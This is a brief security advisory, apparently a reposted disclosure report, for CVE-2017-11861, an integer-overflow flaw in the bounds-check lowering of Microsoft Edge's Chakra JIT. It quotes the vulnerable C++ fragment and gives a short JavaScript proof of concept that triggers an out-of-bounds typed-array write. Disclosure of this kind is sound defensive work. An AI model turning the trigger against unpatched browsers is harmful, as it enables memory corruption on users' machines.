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Microsoft Edge Charka JIT Incorrect Check

Posted on 16 November 2017

Microsoft Edge: Chakra: JIT: Incorrect integer overflow check in Lowerer::LowerBoundCheck

CVE-2017-11861

Here's a snippet of the method.
void Lowerer::LowerBoundCheck(IR::Instr *const instr)
{
...
if(rightOpnd->IsIntConstOpnd())
{
IntConstType newOffset;
if(!IntConstMath::Add(offset, rightOpnd->AsIntConstOpnd()->GetValue(), &newOffset)) <<--- (a)
{
offset = newOffset;
rightOpnd = nullptr;
offsetOpnd = nullptr;
}
}
...
if(!rightOpnd)
{
rightOpnd = IR::IntConstOpnd::New(offset, TyInt32, func);
}
}

At (a), it uses "IntConstMath::Add" to check integer overflow. But the size of IntConstType equals to the size of pointer, and the "offset" variable is used as a 32-bit integer. So it may fail to check integer overflow on 64-bit system.

PoC:
function f() {
let arr = new Uint32Array(0x1000);
for (let i = 0; i < 0x7fffffff;) {
arr[++i] = 0x1234;
}
}

f();

This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.

Found by: lokihardt

 

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